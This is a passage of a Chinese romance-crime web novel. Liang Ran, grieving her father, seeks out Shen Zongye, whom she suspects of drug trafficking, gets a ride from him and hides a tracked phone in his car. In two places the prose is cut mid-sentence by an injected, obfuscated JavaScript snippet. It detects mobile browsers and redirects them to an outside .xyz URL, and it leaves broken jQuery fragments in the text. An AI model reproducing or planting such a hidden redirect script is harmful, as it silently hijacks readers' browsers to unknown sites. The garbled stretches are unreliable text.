乔思嘉倒没有意见,只担心梁然处理不好梁幸均留下的项目。 “你爸爸在古典建筑方面这么有名气,对方认可你的设计吗?别到时候乱七八糟的让你改。” 虽然从小在梁幸均的熏陶下,但梁然的设计更偏现代创新式审美,乔思嘉自然会担心她。 “那边已经动工了,应该不会。” 助手带来两杯咖啡,乔思嘉递给梁然,停下手边改了一上午的图纸。 梁然握着手上的冰美式,视线落在窗外。 城市的街道车流不息,绿荫漏下层层的光斑。 她很少这样出神,这种走神都是从梁幸均过世开始的。 乔思嘉想说点安慰的话,了解梁然的性格,最终也只是笑着问她:“这趟回去见着你青春期的初恋了?” “那我青春期未免太长了点。” 乔思嘉坐到窗边,遮挡住梁然发呆的视线,一头羊毛卷浸在明媚的光束下,像散发着八卦的光。 “你回国他就联系你,这次也算帮了你忙,回怀城一趟没再续上点旧情啊?”乔思嘉挤眉弄眼。 “是帮了我不小忙,我请他吃大餐了。” “没打算旧情复燃啊?” 梁然白了一眼乔思嘉:“我找男朋友不会再找警察职业,而且我和他恋爱那会儿聚少离多,没留下什么有意义的回忆。我不打算往后走。” 梁然放下咖啡,拿过针管笔,重新投入到修改中,微垂的睫毛只有专注的眨动。 乔思嘉怕越说梁然心情越差,没再调侃她,也投入到工作上。 一个月的时间很快。 甲方的二期工程已经动工,梁然按合同去了现场,晚上住在甲方名下的酒店。 房间是个套间,高层的落地窗外,无数的夜景光影流动。 宁城这座北方城市于梁然而言很陌生,初来的几天还不习惯干燥的空气和北风。 哪怕气候已经快步入六月,夜晚的风一起,仍还是冷。 梁然有吹风就偏头痛的毛病,短短几天头痛又犯了。 林甄打来电话时,梁然吃过一粒布洛芬刚睡下。 林甄问她工作忙不忙,适不适应北方的气候。 梁然答着,头疼加痛经,也没有想多聊的精力。 听筒里有短暂的沉默,梁然只听到窗外的雨声,竟没听见林甄在说什么。 “梁然?” “嗯,你刚刚说什么?” “我说我妈今天去看小悦了,她恢复得不错,家里的事你不用担心。” 梁然又由衷地说了谢谢。 林母同沈茹是发小,这些年林母一直很关照梁然和梁悦。 林甄呼吸微滞,他说:“我有两天的假,我飞来看你吧。” “是那个案子有消息了,有线索了是吗?” 林甄说不是。 然后欲言又止。 梁然反应过来他的意思,她停顿了一会儿,终于还是不想拖泥带水。 “林甄,我目前没打算考虑男女感情的问题,我的人生应该算是走到了一个拐点,我感谢你给我的帮助,但小悦现在才是对我最重要的人。” 听筒里安静了数秒,而后传来林甄有些干涩的笑。 “我知道,我没有别的意思,就是单纯来看看你……” “对不起,我实在是走不开,甲方这边每天都需要我在现场盯着。” “这点事不用什么对不起。”林甄稍微沉默,“那就等你回南城再说吧。” “小真,时间会修复一切伤口,希望你早点走出来。” “谢谢你,林甄。” 宁城很少下雨,梁然望着被雨滴拍打的玻璃窗,还是想问:“那个案子再也没有消息了吗?” “其实我也不想瞒你,”林甄说:“自从上个星期结案后就基本已经定型了,之前抓到的疑犯已经认了是他们在那里制毒,招供了运输和贩卖,其中还是没有沈宗野这个人。” 梁然也正想问这句,沈宗野这个冰冷的名字生生卡在了她干涩的喉咙里。 可能吗? “难道他就真的清清白白?” “犯人里没人供他,他也平安过了我们的监视期。我事后单独查过他一阵,他生活轨迹一切照旧,无非都是出差去外地谈别的颜料商,见一些厂房老板,都很正常。” 林甄说:“也许他真的只是一个普通的生意人,不然要是饵,上周收网时早就一起伏法了。梁然,把这件事放下吧。” 梁然的心久久不能平静。 挂了电话,她侧身望着窗前滴滴答答的雨落。 应该是有一种坏人伏法,大仇得报的快感。 林甄说云村那里的受害者都在法庭现场,对判决结果很满意。 可梁然高兴不起来。 梁幸均已经不会再活过来了。 她匆匆撞到过的沈宗野也作为一个清白的人,安然地畅走在人间。 视频里那双眼睛像结着冰的冷,梁然一直不敢忘记,她不信这样一个人跟案件没有关系。 4. 第 4 章 工作推进得不顺利。 施工的中途,甲方董事长看过后约梁然长谈了一番。 “梁然,如果你爸爸还在就好了。”对方望着投屏上的3D效果图,很是遗憾地叹气。 梁然忽然一时沉默。 在工作上她一向都可以很冷静,也有许多应对的办法。可这瞬间她说不出什么,手指捏住了厚厚的图纸,用力到泛白的指尖不是因为对方的挑剔,而是她藏了那么久的痛苦。 除了在葬礼上,她好像从来没有像梁悦那样哭过。 她以为她可以很冷静。 对方倒没有为难她的意思,和她沟通他萌生的新想法,希望梁然能想办法在中庭加一个水上阁楼。 这就打乱了古典留白的整体和谐,而且最重要的是地基安全问题。 “从前我有新想法时你爸爸总能很好地解决我的问题,我和他合作很愉快。” 梁然没有陷在痛苦的情绪里。 “会有些难度,给我一周时间出新方案,我应该可以。” 这一推翻重来,梁然这边又没有了具体结束的日期。 连续一周她都锁在酒店里,熬夜通宵,白天零零散散补觉,直到甲方董事长顾儒海终于满意了新的设计方案。 梁然总算能松一口气,她有两天的假,赶在动工前她匆匆回了一趟怀城看梁悦。 梁悦恢复得不好不快,依旧需要借助拐杖练习走路,她不要梁然扶,梁然就在旁边随时观察着。 因为吃力,梁悦额发都被汗水打湿,但她却很高兴:“姐,坏人都已经被判刑了!我的腿肯定很快也会好的!” 梁然一笑。 内心忽然有些隐隐的不安。 林甄虽然没有明说,但话里透露的意思是那桩案件没有再追溯出更上头的人。 毒贩关系网就截断在怀城,又怎么可能。 那群判刑的人里,也唯独没有那个叫沈宗野的男人。 如果他就是坏人,他会报复梁悦吗? 梁然这样想,心里很是不安,离开的飞机上也都心神不宁。 再回宁城这座北方城市已经是七月里。 下了飞机,形形色色的人影映在廊桥清晰的玻璃上。 走在梁然身前的是一对年轻的父女,五六岁的女孩穿着漂亮的格子裙,背着一个琳娜贝儿背包,被年轻的爸爸单臂抱着。 梁然会羡慕她,羡慕这个女孩。 她看见身边跟梁幸均同龄的中年男人也会嫉妒,嫉妒他们活得好好的,比梁幸均长寿。 她无法平等地去保持从前的理智。 她恨这个世界的不公平。 恨活着的不是她爸爸。 可她明白,她最应该恨的是那一群悖逆于法律的坏人。 也许是连日来没休息好,又加上来回奔波,梁然回到酒店就不太舒服,半梦半醒睡到天亮,接甲方电话时头昏脑涨,喉咙发痛,像是低烧感冒了。 没时间买药,她化了个妆就匆匆赶去施工现场。 重建的水上阁楼有些问题,她一整天都守在工地的办公室里,这场突如其来的感冒已经让她又偏头痛起来,人也没了精神。 回酒店时,冷冽的风带来一场大雨,不休不止地急速坠落。 宁城难得下雨了。 梁然没精打采睡在酒店柔软的大床上,听到手机铃声时以为是感冒药的外卖到了,闭着眼睛接听:“给大厅机器人就好,谢谢。” “订外卖了,你还没吃晚饭?”是乔思嘉。 梁然:“吃了。怎么了,是工作室的设计又出状况了?” “没有,是我爸妈。”乔思嘉语气很急。 乔父乔母几天前来了宁城旅游,本来玩得好好的,乔父看到几个青年行窃,就出声提醒那个目标女孩,没想到乔父乔母被那群人跟踪,在人少的地方被他们趁机报复了。 乔母倒是没受什么伤,乔父伤得很重,身上几处骨折,又加上脑震荡,情况不是很好。 “我的航班要明早九点才到,我想让你过去看看。” 听乔思嘉的话说乔母瞒了好几天,目前乔父已经脱离了危险才敢告诉乔思嘉,病房那也有社区的民警照看。只是乔思嘉不放心,就想让梁然亲自去替她看一眼。 梁然已经掀开被子下床了,头昏脑涨,偏头疼有些加剧。 她开了免提,一边换下睡衣一边说:“你把地址发给我,我这就过去。” “你晚上没工作吧?” “对我这么漂亮的美女,甲方还不至于这么缺德吧。” 乔思嘉没再跟她客气,发来了医院地址。 梁然换好衣服,凑近看镜子里的人一眼。 顶灯将她一张脸上的疲惫暴露无遗,感冒加头痛让这张脸有点颓废。 梁然的五官很漂亮,白皮肤、天鹅颈、漫画里的腰臀比,也不奇怪学生时代一直有人追。 现在这张漂亮的脸带着一种虚弱的病态的美,但她一直都是个清醒也清冷的人。 梁然拿了口红遮脸上的疲惫。 过于饱和的红色在这张生病的脸上似乎又太张扬了,她又擦掉,唇上留下了浅薄的颜色,倒刚刚好。 出门时还下着雨,梁然在酒店大堂等车,外卖的药正好送到了,她在前台那要了水按说明书服下。 到了医院,梁然见到了病房里的乔父与乔母。 乔父头上缠着绷带,手和腿也都有伤,神智还算清醒。乔母只是手部的抓伤,见到梁然这么晚过来,责怪起乔思嘉。 “我都说了她爸没事,还让你来跑一趟,今天雨下得这么大!” “嘉嘉担心你们,我过来她也放心。应该早点告诉我,我一直在宁城。”梁然放下手上的水果和鲜花,和乔父说话。 乔父说:“我年轻时还当过兵,见着这种事我能不出声?嘉嘉她妈一直怨我,小然你说,我做得对不对?” 梁然一笑,看乔父精神倒很不错。 这样聊了有半个小时,护士进来说病人应该好好休息。 梁然起身要离开,乔母说:“我送你下楼,这么晚下雨都不好打车。” 梁然不让她送,乔母执意送她出病房,又想起忘记东西回头去拿。 梁然在门外听到乔父的声音:“也不知道那家南方小馄饨还开不开门。” 乔母很快就从门里出来,递给梁然一个手提袋:“这是我们到雍和宫时求的符,保平安的,我给你和你妹妹求了一个,嘉嘉也有。雍和宫很灵的!” 手提袋沉甸甸的,有许多特产。 最上面两个黄色的封壳格外明显,梁然打开,是挺精致的小袋子,[永保安康]的字映入眼底,是这一路来许许多多的朋友对她和梁悦的守护。 梁然心底多了一股滚烫的潮意,面对温柔的乔母,这短暂的几秒钟忽然像是让她做回一个需要依靠的孩子。 “阿姨,谢谢你。” “跟我说什么谢,我送你。” 两人往电梯走去,梁然问:“叔叔想吃馄饨了?” “别管他,病房里一堆吃的,待会儿我上去给他洗点水果。” 乔母将梁然送到大厅,外面仍下着雨,地面都是深浅不一的水坑,乔母很是过意不去。 梁然让她回去,撑伞穿进了雨中。 她打开手机地图,果然看到医院对面一百米处就有家南方馄饨店。 等红绿灯的间隙,旁边绿化带里传出窸窸窣窣的响声。一只脏兮兮的猫半佝着,发现了梁然望过来,整个脑袋一缩,跳出了绿化带朝医院墙角躲去。 梁然这才发现它一条腿是瘸的。 白色的毛已经脏成雨水都冲洗不掉的灰色,小猫带着一点防御姿势,弓起瘦瘦的骨头,缩在了光影斑驳的墙角。 梁然举起手机,拉进焦距拍了张照片。 她忽然想起什么,朝乔母给的手提袋里翻找,果然有一袋滨城红肠。 这袋红肠被她小心翼翼放到了这只小可怜的身前。 绿灯亮了,梁然加快脚步穿进雨中,在对面的馄饨店买好乔父提到的小馄饨。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925267|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只送到护士台,怕乔父乔母过意不去。 走出医院,靠墙的角落里隐约能看到那小只瘦瘦的影子,地上有些食物屑,猫是吃了的。 雨声里传来极微弱的喵叫声。 茂密的树叶遮挡住了路灯的光,无家可归的灵魂不再躲开梁然,缩在墙下,用发亮的眼睛望着梁然,朝她喵喵地叫了几声。 那应该是一种善意的亲近。 梁然目光柔和,抿了抿唇,在网上查找着这座城市的动物保护协会,拨通了号码。 “我把它的照片发你这个手机号,能收到吧?就在一院的墙角。” “嗯……你问东南西北啊。”听着对方的询问,梁然转头分辨起方向。 这一眼,她的视线突然被定格。 川流的汽车碾过泊油路上的水坑,带起潮湿的,急剧的声音。 漫天大雨,风是冰冷的,偏头疼的痛感倏然地撕扯着神经。 梁然目不转睛,视线就这样落在对面街角走出的青年身上。 那张英隽的脸比视频里还要清楚。 高大的身躯穿梭在路灯下,明明灭灭的光影同他起伏。 道路中间的车辆奔流往返,又疾驰消失,露出那张无比清楚的脸。 他在打着电话,脖子上的项链折射出金属质感的冷调银光。只是毫无预兆的,像是察觉到被人窥视,他倏然看向梁然的方向。 梁然像是瞬间被定住,犹如遭遇冬日的寒潮侵袭,后背生出冰冷湿意,一动不动握着手机。 他是沈宗野。 这一个抬眼,他的脸他的眼睛更清晰。 两次的雨天,梁然总算看清了沈宗野。 这样英隽的男人眉目有结着冰的冷戾,哪怕隔着一条街道,隔着急速的雨落,他的冷也毫不遮掩。 只是很简短的一眼,梁然几乎都看不见他是在看她,还是无意识地抬了下眼。 他已经背过身,继续讲电话,进了他面前的便利店。 梁然仿佛才回归到现实的世界,回答着电话那头的等待:“东边,医院正门往东走,但它可能随时会改变位置,我现在没办法等你们过来,希望你们能快些过来找到它。” 挂断电话,梁然不顾红灯冲进了对面的便利店。 明亮干净的空间里只有整齐的货架。 没有沈宗野。 便利店有扇后门,直通背后的小区。 梁然推开玻璃门,潮湿的雨扑面而来,夏夜闷热的晚风撕扯着太阳穴疼痛的神经。 亮灯的小区房间,楼下整齐停放的汽车……混在这片大雨中都逐渐模糊起来。 人消失了…… 梁然很不甘心地走出便利店。 深夜的雨越下越大,似乎要衬托她此刻绝望的心情。 她是愤怒的。 为什么沈宗野还可以这样安然懒漫地游离在法律之外? 她就应该像刚才那样冲过来一把抓住他,报警让警察来抓他。 路口驶出一辆黑色汽车,梁然停下等它过去,直到突然看见驾驶座上是沈宗野的侧脸。 车灯刺着梁然的眼睛。 她从未见过这么明亮的光。 她一动不动站在雨中,手指有兴奋紧张的颤抖。 她不应该冲动地冲过来抓住他,然后报警让警察来抓他,她不应该。 那只是仇恨之下短暂的失智。 就像此刻,梁然的眼前亮起无数的光,撑着伞惊喜地走向沈宗野的车,弯腰望向车窗里的他,漂亮的脸上露出笑。 她从不知道,她也可以像一个很专业的演员。 沈宗野正要转弯,只能停下车。 梁然仍弯着腰,笑容很是灿烂。 车窗缓缓降下,梁然漂亮的白皙的脸一点点隐退在玻璃上,落入青年一双平静的眼中。 梁然说:“我们是不是见过,在怀城,在一家药房。” 第二个相遇的雨夜,夜色汹涌而潮湿。 起风了。 风落进梁然笑着的眼睛里。 5. 第 5 章 沈宗野无声了数秒。 只看着她的笑。 梁然说:“我刚刚在马路对面看见你就觉得有点像,又怕自己认错人。” 沈宗野还是没有回复。 意味不明的眼睛里有着审度的探究。 梁然很认真地收起笑:“我没别的意思,就是雨太大了,我打不到车。你能不能送我一程啊?我付你车费。” 大雨里的水汽飘到了车厢里,雨声急促。 沈宗野的思考不到三秒,他回答“上车吧”。 梁然明明感受到了他的思考,他却没有正常人思考时可能会流露的迟疑,可能会敲击方向盘的手指。 他什么动作都没有,笔直的身体干净利落地端坐,短短的一两秒钟,就像是两个相熟的人日常的对话。 “谢谢。”梁然问:“我坐哪里呢?” “随便。” 梁然坐到了副驾驶。 “你到哪儿?”沈宗野问她。 他的声音很平静,就像他们第一次遇到时她对他说谢谢,他回不客气那样寻常。完全没有梁幸均的视频里那种狠气。 “柏洲酒店,麻烦你了。” 沈宗野没再说话,将支架上的手机解锁输入地址。 屏幕的灯光泛着暖白的颜色,光影镀着他手指修长的轮廓。 梁然偏头系着安全带,视线忽然被方向盘上的一只手吸引。 她的表情几乎有些笃定的错愕。 沈宗野的左手拇指断了一截。 短窄的半截指,断口处的伤面带着愈合的褶皱,新生的皮肤很嫩很粉……这样的伤不像旧伤,愈合的地方没有一点茧。 梁然移开视线,去想第一次碰到沈宗野,他塞给她一包棉签时,还有梁幸均的视频里他那双漂亮的手。 他的左手当时明明还是完整的。 导航的语音是车厢里唯一的声音。 梁然说:“你的手……” 沈宗野居然笑了下。只是很淡的笑,薄唇上扬的弧度太不明显,让梁然以为是她看错了。 他说:“怕了?” “没有,我看你开车还挺稳,不影响握方向盘吗?” “不影响。” 他还挺正经回答她的话。 梁然问:“我们上次在怀城撞到时好像你的手还没事?” “只是见过一面,你记忆力这么好。”他淡淡地说。 “当时拿错伞了,我只是觉得要是换伞的时候就看见了我应该会有印象。”梁然状似随口地问:“你怎么弄的啊?” 沈宗野睨了眼后视镜里的她,似乎在探究她为什么可以对一个陌生人话题这么多。 “现在零点了,你大半夜坐一个陌生人的车不害怕吗?” “可能是在外地见到了怀城的人,还好吧。”梁然很自然地抿起唇,看了眼手机:“再说,你车牌号我发给我闺蜜了。” 沈宗野抿起淡笑。 凌晨寂静的街道,路灯的光影明明灭灭落在他淡笑的脸上,仿若一种赞许。 急速坠落的大雨覆满了挡风玻璃,又被雨刷一次次赶落。 梁然短暂地沉默下来,她觉得沈宗野应该会主动开口和她说话。 像他这么坏的人,他应该会对美女过分热情,又或者对陌生人保持试探与防备才对。 可车厢里陷入了一种无话可说的安静。这安静持续了很长一段路程,沈宗野都没有再开过口。 就在梁然捉摸不透时,青年低醇的声线总算打破了这片寂静。 沈宗野说:“你怎么认出是我?” 他的声音平静沉冷,却让梁然没由来地心脏狂烈地跳动。 是啊,她怎么认出是他,他当时在药房里时戴着口罩。她是通过视频认出他的啊。 “这个。”梁然偏过头,带笑的桃花眼望着他脖子上的项链,她说,“这个吊坠很特别嘛,还有你的眼睛也很特别。” 短短几秒,她反应自然流畅,她并不确定沈宗野会不会质疑这个答案。 一阵无声的沉默过去,车窗外的雨声倾轧着沉寂的车厢。 沈宗野终于绕过这个话题,问她:“你是怀城人?” “嗯。” “来宁市工作?” “嗯,我是自由职业,哪里有活儿就往哪跑。” 沈宗野专注开着车,那只断掉半截的拇指紧抵着方向盘,艰难而无声的发力让薄薄的皮肤变得透白。 他说:“你是学美术的。” 他还记得。 他果然对她有印象。 梁然松了一口气。 至少她的长相被只见过她一面的沈宗野记住了。 她竟然完全没有坐在一个坏人身边的害怕。 充斥内心的全是成功接触到仇人的激动。 她不知道这样做对不对。 但如果放弃这个机会,梁然知道她绝对不会。 “上次好像只是看到你伞上有颜料我才多问了一句,你就能猜到我职业?我好像也这样问过你吧,你呢,也是学美术的?” 沈宗野没有回答她的问题,只是说起:“还有半个小时,你可以眯会儿。” “我长得这么漂亮,我才不眯。” 沈宗野弯起了唇。 他很显然地被逗笑,但又怕她真的会害怕一样,很快地收起笑意,调出音乐,专注开着车。 他竟然有一股端端正正的好人的样子。 真的很会装啊。 音乐声在车厢里倾撒而出,是梁然听过但不知名的一首歌。 梁然看向车窗外,大雨无休止,很少见宁城这么彻底的雨天。 她说:“这边好像很少下雨,你习惯这边的气候吗?” 沈宗野淡淡说一句“还好”便没有再说任何话题,梁然后面试着找话跟他聊,他也只是专注地开车。 她不再主动开口,不想初次接触就显出她多刻意。 微信有新消息提示,乔思嘉发来一张馄饨的照片,说她七点飞的航班,明天再过来感谢她。 乔思嘉:[我爸说是雨夜暖心小馄饨,说你比亲闺女亲。] 梁然抿了抿唇,退回界面看到有新好友申请,是她刚才联络过的动物保护协会。 梁然差点把这件事忘了。 刚通过申请,对方就发来一条语音。 梁然点开,手机自动播成了外放,对方如释重负的声音格外清楚。 “我们找到它了!它两条腿都有伤,看起来还有一些别的疾病,不过你放心,我们协会肯定会带它去医院好好检查。谢谢你这次帮助了它。” 对方紧接着发来一张猫咪的照片,瘦瘦的小猫满是防备地蜷缩在纸箱里。 梁然抿了抿唇,低头打字回复消息。 [不客气,你们需要钱吗?] 那边的女生在语音里回复她不用,协会有定向基金。 梁然还是转过去一万块钱,就当做她的捐款,反正她经常做这些事情,也不缺钱。 摁灭手机屏幕,梁然抬起头才发现沈宗野似乎在笑。 他的唇有一种极浅的弧度,挺立的侧脸没有刚才不再说话时那么冷冽,就好像他也洞察这件事,像她这样为一只无家可归的猫咪高兴。 梁然说:“我今天帮助了一只流浪猫。” “好人。”沈宗野说。 “它特别可怜,看起来腿受了很多伤,但眼睛很漂亮。” 沈宗野没再接她的话,只专注看着路况,那半截残疾的拇指无声而紧力地抵着方向盘。 梁然不再延续话题。 她当然知道短短一面无法撬开一个犯罪分子的世界大门。 如果沈宗野是个劫财劫色的坏人,那他会很乐意深夜载她,很乐意接她抛来的这些话题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925268|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而他话少又谨慎,更让他坐实了那种罪大恶极的身份。 梁然说不出心底这种奇怪的感觉。 当然有害怕。 又更害怕梁悦。 她怕哪一天因为像沈宗野这样一群人的存在,让梁悦也会离开她。 这样的恐惧战胜了那种害怕的情绪。 她望着平稳倒退的城市,听着雨刷与大雨的抗争。潮湿而闷热的夏夜里,偏头疼一直在隐隐作祟,梁然忍耐着这种痛觉。 一直到沈宗野停下车,饱满而磁性的声线说“到了”。 梁然拿出手机,脸上的笑一如最开始:“我扫你车费。” “顺路带你,不用了。”沈宗野没碰支架上的手机。 “那我多不好意思,加个好友吧,改天请老乡吃饭。” 沈宗野淡笑着,双眼深得看不见任何情绪。 他一动不动的坐姿,笔挺的身躯都写满了一种封闭的拒绝。 梁然没再坚持:“那谢了,这些特产给你吧。别拒绝,不然我会觉得你有更深的想法,搞得我害怕。” 她的话让沈宗野嗤笑了下,视线落在梁然脸上。 灯光昏黄的车厢,他的眼神毫不避讳,却没有带着男性那种凝视。他只是这样极淡地瞥了她一眼,目光很自然地移开。 梁然的确很漂亮。 她知道只要她面前的人不是瞎子。 她什么都没再说,从乔母给她的那一袋特产里拿出里面的平安符,分走一些特产,剩下的都放回后座。 她撑起伞下了车,微笑的眼睛看了眼车厢里的沈宗野说:“谢谢。” 他淡淡应对着她的单向道别。 雨敲落在梁然的伞上。 车厢里放的歌轮到梁然听过的一首beyond的老歌。 “冲不破墙壁 前路没法看得清 再有哪些挣扎与被迫 踏着灰色的轨迹 尽是深渊的水印……” 梁然抿唇关上车门,转身走向酒店。 大雨中的街道潮湿安静。 黑色汽车停了一会儿,沈宗野点燃一支烟。 腾升的烟雾充斥着没有开窗的车厢,烟草的浓烈吞噬着车厢里这股香水味,像孤高的白玉兰,也似清冷的雪。沈宗野不了解香水,他只觉得特殊又好闻。 算着浓烈的烟草气应该驱散了这股香气,他才降下车窗。 干净的风钻进车厢,被雨水洗过的空气带着一股夏日的潮热。 摁灭烟蒂,沈宗野探手提过后座的手提袋。扫了眼里头都是特产,没什么别的物品后才发动引擎。 那截断掉一半的大拇指短小而用力,紧紧抵着方向盘,调转车头驶向来的方向。 …… 明亮的酒店长廊。 电梯门一开,梁然快速回到房间,冲进卧室找出她工作的那部手机。 刚才趁沈宗野没发现,她把手机藏进副驾驶座位底下了。 两台手机绑定了定位。 地图上的坐标越来越远,驶向了他们来时的方向。 十几分钟后停在了一家叫[云上人间]的休闲会所,就再也没动过。 他真的是顺路吗?她的酒店距离他的地方多出了十公里。 梁然心跳剧烈,犹如自己在亲身跟踪一样,握着手机的双手都有些发抖。 林甄说就算沈宗野看过梁幸均那个视频,也查不到梁幸均这个人,不会找到她与梁悦。 那她接近沈宗野应该是安全的吧。 梁然给乔思嘉发了条微信,告诉乔思嘉她的手机遗失在了出租车上,明天找回手机再联络,叮嘱乔思嘉不用给她打电话。 做完这些,梁然倒在大床上,手机播放出刚才沈宗野听的那首歌。 音乐声徘徊在安静的房间里,窗外的大雨以冰冷的姿态吞噬着这场暗夜。 6. 第 6 章 沈宗野在会所呆到凌晨五点才离开。 梁然这个点口渴醒来,喝水时打开手机,正好看到地图上的坐标一点点从会所到了一处住宅楼,两处坐标之间不到两公里。 梁然截图保存,脑子也牢牢记死了这个坐标。 天亮时,她拨了一次手机,对面无人接听,沈宗野应该还不在车上。 梁然正常去甲方的施工场地上班,一直到中午沈宗野的坐标都没有再变过。等梁然再次拨过去,她的手机已经提示关机,应该是电量耗尽了。 这一瞬间,她真的恨资本为什么不把待机时间做长一点。 监控无处不在的时代,想找一个人不算难。 梁然抽身去了酒店附近的派出所,请民警调查沈宗野那辆车的车主信息。 民警很快就通过监控帮她查到车主的信息,拨通号码跟那头说明了原委。 梁然就在旁边,听不到电话那端沈宗野的声音,只能听到女警握着电话说:“那麻烦你问下昨晚开你车的朋友。” 女警放下座机,对梁然说:“车主说车子是朋友在开,他得去证实一下。” 办公室里的电话很快就再响起,不是刚才的车主打来的,是沈宗野。 女警跟他沟通完,把电话递给梁然。 梁然接过座机。 声线低沉的男音传进耳中,明明只见过两回,梁然却已经记住了这道熟悉的声线。犹如潮湿雨季里向上而生的炉火,煮着一壶充满故事的冰岛生普。 这让梁然略微有些奇怪,她竟会对这道犯罪的声音产生这种印象。 沈宗野问:“你丢了手机在我车上,昨晚?” “对,是我,我叫梁然。”梁然带着歉意:“不好意思把事情搞得这么麻烦,实在是我联系不上我的手机,应该是没电了,我昨晚回酒店就发现了,但我打了电话你可能没听到。” 沈宗野的呼吸声很平缓,听筒生出微微烫意,就像是一个站在暗处的人贴着梁然的耳朵,徐徐吐纳出滚烫的呼吸。 短短的间隙,梁然心脏不可控地跳快。 她应该相信自己的演技才是,应该冷静。 沈宗野:“看到了,在座位底下,手机壳粉色的?” “对,是我的,不好意思。” “你想怎么取?” “看你方便,我过来找你?这是你的手机号吧,我记一下。” 沈宗野只说:“南宁东路方便吗?” “方便。” “那就拐角的咖啡店,玻璃门很大那家,你来拿。” 梁然的谢谢没有说完,沈宗野已经挂了电话。 她向女警要了手机号,打车去了约定的地点。 拐角有家很大的咖啡厅,玻璃橱窗干净明亮,靠窗坐着的两个女生在自拍,旁边一桌的男生拇指飞快地打着游戏。 梁然没有看到沈宗野的身影,推门走到点单台。 “请问有没有一位很英俊的青年来订过位置?” “我们这里不需要订位……”打量着梁然的店员想了会儿:“你是不是叫梁然?” 梁然点头。 店员把手机递给了她,被装在一个透明的密封袋里。 店员说是一个很帅的青年送过来的,给叫梁然的女生。 没见到沈宗野,梁然有些失望,沈宗野的防备还是太重。 梁然问:“他有说什么吗?” 店员是个年轻的女生,看着梁然笑了起来:“他就说一个很漂亮的女生会来取,黑色长头发,皮肤白。” “谢谢,我要一杯小白梨拿铁。” 挑了位置坐下,梁然拨起沈宗野的号码,沈宗野接听了。 “你好,是我,我是梁然。” “我拿到手机了,谢谢。” “拿到就行。”沈宗野的语气很淡。 梁然说:“我挺不好意思的,你号码能加到微信吗,你通过一下,我想表达一下我的感谢,挺麻烦你的。” “不用了,我很忙。”沈宗野挂了电话。 梁然抿了很大一口咖啡,冰凉的涩感灌入喉咙,没有太意外。 这样的人城府越深,活在阳光底下的普通人就越危险。 她用沈宗野的手机号搜索出一个微信。 微信名字「绿野」 头像是张篮球赛场照片。 梁然反复放大,找不出有用的信息,发送了好友申请:「总得有个感谢的机会吧,梁然」 回到酒店,拆开密封袋时,梁然忽然愣了下,起身去翻外卖的包装袋,她记得袋子里应该有一次性手套。 她在台灯下反反复复地检查手机,戴着一次性手套学着刑侦剧里的方法,用胶带把手机粘了个遍,居然连一个指纹都没有。 沈宗野把手机装进这个密封袋里时,是反反复复把指纹全擦没了才装的?果然坏人都有这个习惯吗。 绝对是个大坏蛋了! 梁然感到后背一股阴森的冷气。 这人真可怕。 一直到第二天,沈宗野都没有通过梁然的好友申请。 第三天的时候,梁然已经有些坐不住了。 医院的VIP病房很安静,阳光透过玻璃窗洒落在干净的病床上。 梁然盯着手机地图上的坐标,反复放大又缩小。 她知道沈宗野的位置,但是再次出现就绝对不是巧合了,防备心那么重的人,她没有把握能找理由瞒过他。 “走什么神呢,我妈问我们吃不吃午饭。”乔思嘉问。 梁然在医院探望乔父乔母,二老去了食堂,来电话说食堂的酸菜鱼好吃,问要不要给他们带一份。 梁然摇摇头:“来时在甲方那吃过了。” “那我也不吃,我减肥。” 梁然凭空问了一句:“如果一个在逃的坏人跟一个陌生人遇见三次,你说他会不会很防备这个人?” “那肯定啊,我觉得吧这种能偶遇三次的人只有三种情况吧。” 乔思嘉对梁然一贯跳跃的思维已经习以为常,想了想说:“天生一对的CP,欠债的和讨债的,还有就是警察和坏蛋了。” “怎么可能跟一个陌生人偶遇三次,我只在言情小说里见过。” 梁然靠着窗看向楼下的花园:“是啊,你说的很对。” “最近还有时间追剧啊,还是被安利什么小说了?” “随便刷了刷手机。” “你手机捡回来没损失什么吧?” “没有,完好无损。” “对方要酬金了吗,你给多少钱?” “我连他面都没见到,对方直接放到咖啡厅让我去取。” 乔思嘉表情一亮:“不错啊,拾金不昧,现在这样的人不多了。” 梁然只是笑了笑。 乔思嘉忽然想起来:“对了,你刚才说起偶遇,我前天在飞机上碰到许希希的前男友了。” 梁然愣了下才想起来许希希的前男友是谁:“那个开酒吧的富二代?” 乔思嘉点头:“你不够仗义吧,把人家名字都忘了。” “没,向邬道,我记得。” 提起许希希,梁然依旧会觉得痛惜。 许希希是她一起长大的发小,两人从幼儿园到初中都在同一所学校,高中梁然报的是美院附中,这才和许希希分开。 她们的关系在那之前一直很亲近,许希希是一个性格比梁然活跃,又很热情的女生。 梁然始终都记得她初中第一次来月经,课间操时后知后觉摸到裤子上的血,操场上全是人,那是只穿短袖的夏天,突然降临的初潮让她手足无措。是许希希看见她透出血斑的裤子,飞快冲到食堂找小卖部老板借了遮阳伞,又冲到她身边气喘吁吁地让她别怕,把在小卖部买的卫生巾塞给她。 那个夏天,梁然和许希希挤在同一间厕所里,谁都还没用过,对着白色的小翅膀翻来覆去地研究。 梁然记忆里的许希希是小时候一起和她抢滑梯,被她挤得哭鼻子的样子。是初三分开时青春朝气的样子。 